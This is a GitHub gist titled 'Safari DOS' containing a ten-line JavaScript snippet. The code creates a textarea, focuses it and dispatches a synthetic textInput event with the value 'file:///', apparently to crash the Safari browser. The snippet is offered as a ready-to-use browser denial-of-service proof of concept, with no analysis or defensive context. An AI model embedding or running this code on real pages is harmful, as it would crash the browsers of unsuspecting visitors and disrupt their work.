public
Last active

Safari DOS

  • Download Gist
gistfile1.js
JavaScript
1 2 3 4 5 6 7 8 9 10
(function(){
_textarea=document.createElement('TEXTAREA');
_textarea.setAttribute('class', 'crashtest');
document.getElementsByTagName('body')[0].appendChild(_textarea);
_textarea.focus();
_evt = document.createEvent("TextEvent");
_evt.initTextEvent("textInput", true, true, window, 'file:///');
_textarea.dispatchEvent(_evt);
}
)()

Please sign in to comment on this gist.

Something went wrong with that request. Please try again.